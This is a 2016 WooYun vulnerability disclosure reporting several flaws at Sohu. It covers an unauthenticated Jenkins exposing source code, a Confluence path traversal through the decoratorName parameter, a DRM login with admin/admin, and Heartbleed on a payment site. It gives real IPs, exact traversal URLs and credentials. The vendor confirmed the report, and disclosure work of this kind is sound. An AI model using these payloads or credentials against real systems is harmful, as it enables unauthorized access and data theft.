当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0208641

漏洞标题:搜狐一系列漏洞打包(项目源码/任意文件读取/心脏滴血等)

相关厂商:搜狐

漏洞作者: 镱鍚

提交时间:2016-05-15 10:38

修复时间:2016-06-29 12:40

公开时间:2016-06-29 12:40

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-15: 细节已通知厂商并且等待厂商处理中
2016-05-15: 厂商已经确认,细节仅向厂商公开
2016-05-25: 细节向核心白帽子及相关领域专家公开
2016-06-04: 细节向普通白帽子公开
2016-06-14: 细节向实习白帽子公开
2016-06-29: 细节向公众公开

简要描述:

我是来写报告的..

详细说明:

一、Jenkins未授权访问

http://220.181.26.165/jenkins/


1.png


发现有点坏,不能登录,不能执行命令等,但是项目源码是可以访问的

2.png


3.png


可查看的一些敏感信息,涉及一些子域名

http://220.181.26.165/jenkins/job/video_audit_info/ws/pom.xml/*view*/
http://220.181.26.165/jenkins/job/GoLang-56-synchronize-vrs/ws/pom.xml/*view*/
http://220.181.26.165/jenkins/job/admin_tv_cleanCache/ws/clean_admin_cache.iml/*view*/
http://220.181.26.165/jenkins/job/admin_tv_cleanCache/ws/pom.xml
http://220.181.26.165/jenkins/job/admin_tv/ws/crossdomain.xml


4.png


5.png


下载了两个项目源码包看了下,敏感信息还是有的
channel_sohu.tar

6.png


7.png


8.png


做了IP限制,没搞进去。。
admin_tv.tar

9.png


10.png


二、SohuTV Wiki Atlassian Confluence信息泄露
详情见社区:

http://zone.wooyun.org/content/27104


http://220.181.26.165/wiki/spaces/viewdefaultdecorator.action?decoratorName=


12.png


http://220.181.26.165/wiki/spaces/viewdefaultdecorator.action?decoratorName=../../


13.png


用文中作者提到的方法,是可以跨目录读取的

http://220.181.26.165/wiki/spaces/viewdefaultdecorator.action?decoratorName=file:///opt/atlassian/data


14.png


数据库配置文件

15.png


漏洞证明:

三、SOHU DRM系统弱口令

http://123.126.104.236:8888/


弱口令:admin admin

16.png


17.png


也不知道干什么的,就未深入了。
四、搜狐支付某站点存在心脏滴血漏洞

https://123.125.123.242/


18.png


19.png


ok,就到这里了,还望修复^_^

修复方案:

..

版权声明:转载请注明来源 镱鍚@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-05-15 12:35

厂商回复:

感谢支持。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-05-15 10:48 | scanf ( 核心白帽子 | Rank:1702 漏洞数:240 | 。)

    可怕

  2. 2016-05-15 13:48 | 苏水 ( 路人 | Rank:18 漏洞数:6 | .....)

    杰哥666

  3. 2016-05-15 15:27 | 美食家L ( 实习白帽子 | Rank:75 漏洞数:10 | http://404.so 安静的坚持自己的原则)

    可怕

  4. 2016-05-15 16:58 | 卖女孩的小火柴 ( 实习白帽子 | Rank:46 漏洞数:11 | 动漫唱歌打球玩游戏)

    恐怖